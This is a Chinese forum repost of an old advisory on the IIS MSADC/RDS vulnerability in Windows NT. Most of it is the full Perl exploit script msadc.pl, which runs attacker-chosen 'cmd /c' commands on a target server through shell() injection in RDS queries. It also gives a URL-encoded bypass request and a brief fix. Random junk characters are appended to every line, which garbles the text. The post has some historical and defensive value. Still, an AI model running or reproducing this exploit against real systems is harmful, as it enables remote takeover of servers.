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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) K\#+;\V  
==& =3  
涉及程序: #H|]F86(  
Microsoft NT server &0'BCT  
k# /_Zd  
描述: n=`UhC  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 b@Fa| >"_  
o4xZaF4+  
详细: &W1c#]q@r  
如果你没有时间读详细内容的话,就删除: *&7Av7S  
c:\Program Files\Common Files\System\Msadc\msadcs.dll rc"yEI-``"  
有关的安全问题就没有了。 AyddkjX  
=73wngw  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Hly$ Wm  
Y%2<}3P  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 3vx?x39*Y  
关于利用ODBC远程漏洞的描述,请参看: h<[o;E  
6u7>S?  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <S<(wFE@4  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 dI3U*:$X  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp VgOj#Z?K  
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这里不再论述。 L0}"H .  
Pl U!-7  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Wcbb3N$+  
? r^+-  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset bEbnZ<kz*  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ZhW>H  
$Ad 5hkz  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" 'F1NBL   
.Um.dXBYU  
#!perl El ,p}Bi.  
# F4@``20|  
# MSADC/RDS 'usage' (aka exploit) script ~!\n  
# Iq MXd K|  
# by rain.forest.puppy |oa 9 g2  
# \f .ceh;!  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :beBiO  
# beta test and find errors! IZ "d s=w  
=JY9K0S~  
use Socket; use Getopt::Std; zmF_-Q`c  
getopts("e:vd:h:XR", \%args); j"hfsA<_I  
d H]'&&M  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; mJp)nF8r~  
4 @ )|N'  
if (!defined $args{h} && !defined $args{R}) { l-g+E{ZM  
print qq~ X0O@,  
Usage: msadc.pl -h <host> { -d <delay> -X -v } UoCFj2?C  
-h <host> = host you want to scan (ip or domain) s0WI93+z  
-d <seconds> = delay between calls, default 1 second ^h1EE=E"  
-X = dump Index Server path table, if available "CX&2Xfe  
-v = verbose l*rli[No  
-e = external dictionary file for step 5 y ~7]9?T  
Z7lv |m&  
Or a -R will resume a command session fo@ 2@  
1--_E,Su>  
~; exit;} <KlG#7M>  
(< gk<e*  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; x8|sdZFxo  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} $# klgiL  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} MVV9[f  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); d+KLtvB%M  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} EEQW$W1@  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } &3VR)Bxn  
/H+j6*}r  
if (!defined $args{R}){ $ret = &has_msadc; XW6>;:4k  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} oDp!^G2A"  
`B;^:u  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" tP2hU[7Z  
. "cmd /c "; ,R=Mr}@u  
$in=<STDIN>; chomp $in; s OD>mc#%Y  
$command="cmd /c " . $in ;  \p"`!n  
^9eJ)12pK  
if (defined $args{R}) {&load; exit;} fZ6lnZ  
%s~MfK.k  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ZK))91;v  
&try_btcustmr; lmb5Z-xB  
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print "\nStep 2: Trying to make our own DSN..."; t&(}`W  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; xMDx<sk  
79<{cexP  
print "\nStep 3: Trying known DSNs..."; [QA@XBy6  
&known_dsn; M xUj7ae  
Q9)/INh  
print "\nStep 4: Trying known .mdbs..."; :(,uaX> {  
&known_mdb; {20^abUAS  
gQf'|%)AJ  
if (defined $args{e}){ hA6!F#1  
print "\nStep 5: Trying dictionary of DSN names..."; vINm2%*zJ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } zzi%r=%r&  
xqv4gN6  
print "Sorry Charley...maybe next time?\n"; 6/B"H#rN  
exit; *+h2,Z('a  
?:OL8&0  
############################################################################## wwVK15t  
HjKj.fV  
sub sendraw { # ripped and modded from whisker g@YJ#S(}  
sleep($delay); # it's a DoS on the server! At least on mine... s=Pwkte  
my ($pstr)=@_; h9c54Ux  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || zh)qo  
die("Socket problems\n"); 8C4DOz|  
if(connect(S,pack "SnA4x8",2,80,$target)){ hZ-No  
select(S); $|=1; oqOv"yLJ:  
print $pstr; my @in=<S>; NK]X="`  
select(STDOUT); close(S); /\_`Pkd3m  
return @in; -:t<%]RfY  
} else { die("Can't connect...\n"); }} 0 } uEM_a  
lN*O</L,"  
############################################################################## FR _R"p  
?B@(W(I  
sub make_header { # make the HTTP request Ee;&;Q,O.z  
my $msadc=<<EOT k$?zh$  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 8r(S=dA  
User-Agent: ACTIVEDATA .]g>.  
Host: $ip ['j_W$8n  
Content-Length: $clen 61>@-55k9  
Connection: Keep-Alive oe,L&2Jz@  
Ej>5PXp'2  
ADCClientVersion:01.06 l'HrU 1_7Y  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 gJ cf~@s  
}5-^:}gL   
--!ADM!ROX!YOUR!WORLD! .%;UP7g  
Content-Type: application/x-varg =xScHy{$  
Content-Length: $reqlen L,V\g^4$K  
j_c0oclSz  
EOT q:@$$}FjL  
; $msadc=~s/\n/\r\n/g; %k @"*  
return $msadc;} j@$p(P$  
cx M=#Go  
############################################################################## dQLR%i#P8  
XzGPBi  
sub make_req { # make the RDS request 2V7x  
my ($switch, $p1, $p2)=@_; `=^;q 6f  
my $req=""; my $t1, $t2, $query, $dsn; 8?!=/Sc  
oUXu;@l  
if ($switch==1){ # this is the btcustmr.mdb query IT]D;  
$query="Select * from Customers where City=" . make_shell(); W*i PseXq  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . tK{2'e6x  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} )3PQ|r'  
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elsif ($switch==2){ # this is general make table query pJ-/"Q|:i  
$query="create table AZZ (B int, C varchar(10))"; qwJeeax  
$dsn="$p1";} &(3kwdI  
}6b=2Z}  
elsif ($switch==3){ # this is general exploit table query 1wSJw  
$query="select * from AZZ where C=" . make_shell(); w%;Z`Xn&u  
$dsn="$p1";} ORk8^0\  
p>7 !"RF:U  
elsif ($switch==4){ # attempt to hork file info from index server *#{[9d  
$query="select path from scope()"; kb{h`  
$dsn="Provider=MSIDXS;";} 67Rsd2   
% FW__SN$c  
elsif ($switch==5){ # bad query rld4uy}m  
$query="select"; X'4e)E3*O  
$dsn="$p1";} ,":_=Tf.  
$ KQ7S>T  
$t1= make_unicode($query); =FUORj\O  
$t2= make_unicode($dsn); i{TErJ{}e  
$req = "\x02\x00\x03\x00"; I@~hz%'  
$req.= "\x08\x00" . pack ("S1", length($t1)); s,> 1n0a  
$req.= "\x00\x00" . $t1 ; Z'p7I}-qr  
$req.= "\x08\x00" . pack ("S1", length($t2)); } <; y,4f  
$req.= "\x00\x00" . $t2 ; 7bOL,S  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 7@al)G;~  
return $req;} MFO}E!9`q  
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############################################################################## Vvu+gP'z.  
A7SBm`XJ)p  
sub make_shell { # this makes the shell() statement 1V(tt{  
return "'|shell(\"$command\")|'";} ; =.VKW%U  
BtDi$d%'  
############################################################################## qV0C2jZ2  
@q2If{Tk  
sub make_unicode { # quick little function to convert to unicode wZN<Og+;  
my ($in)=@_; my $out; xB"o 7,  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } }<`Mn34@  
return $out;} |Z}uN!Jm  
*+TIF"|1  
############################################################################## | W:JI  
`~Nd4EA)2  
sub rdo_success { # checks for RDO return success (this is kludge) Cc^`M9dP  
my (@in) = @_; my $base=content_start(@in); [X[d`@rXv  
if($in[$base]=~/multipart\/mixed/){ '}h[*IB}5  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Q)x`'[3"7W  
return 0;} zn|~{9>y  
R4=n">>Q  
############################################################################## @(2DfrC  
%m r  
sub make_dsn { # this makes a DSN for us l9 RjxO.~U  
my @drives=("c","d","e","f"); m5Gt8Z 6a  
print "\nMaking DSN: "; SA s wP  
foreach $drive (@drives) { r J'm>&Ps  
print "$drive: "; ~3 4Ly  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ]v96Q/a  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" biFy*+|  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); X& EcQ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; =BW>jD  
return 0 if $2 eq "404"; # not found/doesn't exist mf]1mG})  
if($2 eq "200") { y1P KoN|K  
foreach $line (@results) { c%Ht; sK`*  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 2lPj%i 5  
} return 0;} g|_-O" l  
R:HF~}  
############################################################################## s\g"~2+  
bf ]W_I]B  
sub verify_exists { "1P8[  
my ($page)=@_; 7kapa59  
my @results=sendraw("GET $page HTTP/1.0\n\n"); {iiHeSD  
return $results[0];} #x Z7%    
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############################################################################## 3 " fBp  
=y.!Ny5A  
sub try_btcustmr { @#[<5ld  
my @drives=("c","d","e","f"); &x$1hx'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 4A(kM}uRB  
@MMk=/WDw  
foreach $dir (@dirs) { R<aF;Rvb5  
print "$dir -> "; # fun status so you can see progress S(xlN 7=  
foreach $drive (@drives) { m~a'  
print "$drive: "; # ditto #M$Gj>E%4  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; &`hx   
$reqlenlen=length( "$reqlen" ); 0 =#)-n  
$clen= 206 + $reqlenlen + $reqlen; R5=2EwrGP  
B ^>}M  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Cisv**9  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} YB{hQ<W  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} D0Cs g39  
!#P|2>>u  
############################################################################## ;`<uo$R  
(}1 gO  
sub odbc_error { ^gx`@^su  
my (@in)=@_; my $base; <:=}1t.Z  
my $base = content_start(@in); 04{*iS95J  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this R zG7Xr=t  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r9[{0y!4  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \ci'Cbn\o  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; o'nju.'  
return $in[$base+4].$in[$base+5].$in[$base+6];} 6;rJIk@Fx=  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; et[n;nl>V  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 2S'{$m)  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 4t3Y/X  
]7SX _:'*  
############################################################################## w\wS?E4G  
CMk0(sztU_  
sub verbose { *xY}?vSs  
my ($in)=@_; UuDs  
return if !$verbose; @ 63Uk2{W>  
print STDOUT "\n$in\n";} VKUoVOFvPR  
\ZSZ(p#1  
############################################################################## (.6~t<DRv  
)*j>g38?  
sub save { K/)*P4C-  
my ($p1, $p2, $p3, $p4)=@_; 05_aL` &eb  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; =2;2_u?  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; -"m4 A0  
close OUT;} l)@Zuh  
lP$bxUNt  
############################################################################## JBY`Y ]V3  
\Km gFyF  
sub load { tuZA q;X  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; }O=QXIF5  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); u#TRm?s  
@p=<IN>; close(IN); v/dyu  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); frB~ajXK  
$target= inet_aton($ip) || die("inet_aton problems"); v2X>%  
print "Resuming to $ip ..."; Mf [v7\  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; '9O4$s1  
if($p[1]==1) { zMZP3 xir  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; n/ ]<Bc?  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; & w%%{lM  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); @KtQ~D  
if (rdo_success(@results)){print "Success!\n";} #Av6BGM|,  
else { print "failed\n"; verbose(odbc_error(@results));}} "M e)'  
elsif ($p[1]==3){ CUz1 q*):  
if(run_query("$p[3]")){ Snm m (.  
print "Success!\n";} else { print "failed\n"; }} R.KqTEs<k  
elsif ($p[1]==4){ ci]IH]x  
if(run_query($drvst . "$p[3]")){ jkz .qo-%  
print "Success!\n"; } else { print "failed\n"; }} r?^[o  
exit;} NI(fJ%U  
\_H-TbU8  
############################################################################## '3B\I#  
/`d|W$vN  
sub create_table { Jptzc:~B  
my ($in)=@_; N =k}"2_=  
$reqlen=length( make_req(2,$in,"") ) - 28; Y8*k18~  
$reqlenlen=length( "$reqlen" ); *{3&?pxx  
$clen= 206 + $reqlenlen + $reqlen; HH_w!_f  
my @results=sendraw(make_header() . make_req(2,$in,"")); al{;]>W  
return 1 if rdo_success(@results); >0#WkmRY  
my $temp= odbc_error(@results); verbose($temp); 41\r7 BS  
return 1 if $temp=~/Table 'AZZ' already exists/; >G4EiJS  
return 0;} <:v2 N/i  
l)JNNcej  
############################################################################## K|"97{*|2  
UG)XA-ez  
sub known_dsn { a[Q\8<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go @I\&-Z ^  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", gEWKM(5B}  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", fpj,~+  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); QfLDyJv`e  
&4g]#A>@  
foreach $dSn (@dsns) { !8cS1(a  
print "."; H l'za  
next if (!is_access("DSN=$dSn")); <IiX_*  
if(create_table("DSN=$dSn")){ f 7g?{M  
print "$dSn successful\n"; '|v??`o#  
if(run_query("DSN=$dSn")){ IU f1N+-z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <2{CR0]u  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Gz>M Y4+G  
<<xUh|zE  
############################################################################## B/P E{ /  
9XU"Ppv  
sub is_access { iy{n"#uX  
my ($in)=@_; xwSi}.  
$reqlen=length( make_req(5,$in,"") ) - 28; + -[M 7J  
$reqlenlen=length( "$reqlen" ); $UgQ1Qc  
$clen= 206 + $reqlenlen + $reqlen; 2(_+PQ6C=  
my @results=sendraw(make_header() . make_req(5,$in,"")); b< ]--\  
my $temp= odbc_error(@results); ^|h5*Tb  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); F*&A=@/3  
return 0;} UIhU[f]  
N>Dr z  
############################################################################## bnso+cA  
fpCkT[&m  
sub run_query { } Mh@%2$  
my ($in)=@_; Z/y&;N4  
$reqlen=length( make_req(3,$in,"") ) - 28; jacp':T  
$reqlenlen=length( "$reqlen" ); Dgb@`oo  
$clen= 206 + $reqlenlen + $reqlen; *2K/)(  
my @results=sendraw(make_header() . make_req(3,$in,"")); }|MPQy  
return 1 if rdo_success(@results); ~Ibq,9i  
my $temp= odbc_error(@results); verbose($temp); ^lF'KW$  
return 0;} fjc8@S5x9j  
{'.[N79xP  
############################################################################## ^jY'Hj.Bs  
s-\.j-Sa  
sub known_mdb { Dd1\$RBo  
my @drives=("c","d","e","f","g"); i|- 6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^A4bsoW  
my $dir, $drive, $mdb; i)vbmV  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; rQ_!/J[9  
v[3QI7E3  
# this is sparse, because I don't know of many 1qEpQ.:](  
my @sysmdbs=( "\\catroot\\icatalog.mdb", MfX1&/Z+  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", H9@24NFb  
"\\system32\\certmdb.mdb", C'6 yt  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% }8H_^G8  
l%$~X0%DM  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", {FIr|R&  
"\\cfusion\\cfapps\\forums\\forums_.mdb", U Bo[iZ|%  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", h($XR+!#  
"\\cfusion\\cfapps\\security\\realm_.mdb", 75u5zD   
"\\cfusion\\cfapps\\security\\data\\realm.mdb",  j|Q*L<J  
"\\cfusion\\database\\cfexamples.mdb", Gxtqzr*  
"\\cfusion\\database\\cfsnippets.mdb", {8!\aYI  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", {P/5cw  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  b7]MpL  
"\\cfusion\\brighttiger\\database\\cleam.mdb", aP#nK  
"\\cfusion\\database\\smpolicy.mdb", **oa R  
"\\cfusion\\database\cypress.mdb", Yy,i,c`r  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", {LwV&u(  
"\\website\\cgi-win\\dbsample.mdb", !$q *~F"S  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", x] e &G!|  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" R6xJw2;_  
); #these are just ['`Vg=O.{  
foreach $drive (@drives) { x_X%| f  
foreach $dir (@dirs){ <w9<G  
foreach $mdb (@sysmdbs) { L/39<&W  
print "."; A9D vU)1  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 5[qCH(6  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; OG!+p}yD]  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 0q !  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; A;ti$jy  
} else { print "Something's borked. Use verbose next time\n"; }}}}} f@)GiLC'"  
GIs *;ps7w  
foreach $drive (@drives) { <$:Hf@tpMo  
foreach $mdb (@mdbs) { IXz)xdP  
print "."; axpn*(yE  
if(create_table($drv . $drive . $dir . $mdb)){ u A=x~-I  
print "\n" . $drive . $dir . $mdb . " successful\n"; W "}Cfv  
if(run_query($drv . $drive . $dir . $mdb)){ 79Y;Zgv  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; DO5H(a  
} else { print "Something's borked. Use verbose next time\n"; }}}} xnp5XhU  
} 1>"Yw|F-|3  
|B` mWZ'"  
############################################################################## :krdG%r  
C5ia9LpRX  
sub hork_idx { =D}]|ie  
print "\nAttempting to dump Index Server tables...\n"; c_RAtM<n  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; s2N~p^  
$reqlen=length( make_req(4,"","") ) - 28;  FTk`Mq  
$reqlenlen=length( "$reqlen" ); K7jz*|2  
$clen= 206 + $reqlenlen + $reqlen; kbR!iPM-;  
my @results=sendraw2(make_header() . make_req(4,"","")); -Y:^<C^^&8  
if (rdo_success(@results)){ g"P!KPrf1p  
my $max=@results; my $c; my %d; d8V)eZYXy~  
for($c=19; $c<$max; $c++){ 6.0/asN}  
$results[$c]=~s/\x00//g; 4^>FN"Ve`B  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Ic,V ,#my  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; |."thTO  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; YS|Ve*t(L=  
$d{"$1$2"}="";}  +bC=yR  
foreach $c (keys %d){ print "$c\n"; } -sqoE*K[8  
} else {print "Index server doesn't seem to be installed.\n"; }} 0DIXd*oj&  
~ 6`Ha@  
############################################################################## ]"DsZI-glW  
017(I:V?(:  
sub dsn_dict { 6%8,OOS  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ]>%M%B  
while(<IN>){ omEnIfQSO  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; PL6f**{-  
next if (!is_access("DSN=$dSn")); 9bVPMq7}i  
if(create_table("DSN=$dSn")){ =4H"&Eu{  
print "$dSn successful\n"; MRn;D|Q  
if(run_query("DSN=$dSn")){ {;0+N -U  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Co%EJb"tk  
print "Something's borked. Use verbose next time\n";}}} N-Jp; D  
print "\n"; close(IN);} wFHbz9|@I  
41'|~3\X  
############################################################################## yo=0Ov  
re-;s  
sub sendraw2 { # ripped and modded from whisker 4#c-?mh_  
sleep($delay); # it's a DoS on the server! At least on mine... DGY?4r7>y  
my ($pstr)=@_; /GQN34RD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @$bEY#*C  
die("Socket problems\n"); (tLAJ_v!.K  
if(connect(S,pack "SnA4x8",2,80,$target)){ tXWh q  
print "Connected. Getting data"; 7B"*< %<  
open(OUT,">raw.out"); my @in; [$bK%W{f  
select(S); $|=1; print $pstr; JPq2C\Ka  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ?-HLP%C('  
close(OUT); select(STDOUT); close(S); return @in; 3gcDc~~=  
} else { die("Can't connect...\n"); }} SJXA  
`uN}mC!r]  
############################################################################## btV Tt5  
NUvHY:  
sub content_start { # this will take in the server headers {"x>ewAf  
my (@in)=@_; my $c; ;94e   
for ($c=1;$c<500;$c++) { [IgB78_$  
if($in[$c] =~/^\x0d\x0a/){ `1T?\  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } GqT 0SP  
else { return $c+1; }}} x%WL!Lo  
return -1;} # it should never get here actually zK P{A Sk  
A/%+AH(  
############################################################################## VYj*LiR  
lNQ8$b  
sub funky { oieZopYA  
my (@in)=@_; my $error=odbc_error(@in); AzmISm  
if($error=~/ADO could not find the specified provider/){ 9:\YEs"  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; PU\?eA  
exit;} 2Kg+SLU[~  
if($error=~/A Handler is required/){ H}[kit*9  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6hvmp  
exit;} 42Vz6 k:  
if($error=~/specified Handler has denied Access/){ <:t D m  
print "\nServer has custom handler filters (they most likely are patched)\n"; e/{1u$  
exit;}} ^q$m>|KI  
:{YOJDtR  
############################################################################## <Z -d5D>  
1l(_SD;90t  
sub has_msadc { zv%9?:  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); p903 *F^[,  
my $base=content_start(@results); rpZ^R}B%*v  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); "kHQ}#6r  
return 0;} rphfW:  
zxV,v*L)  
######################## -q}c;0vL-a  
9PM\D@A{  
:*`5|'G}  
解决方案: }z$_=v  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll jQgy=;?Lwm  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 giDe  
!='?+Ysxs  
拿出来充数 哈哈
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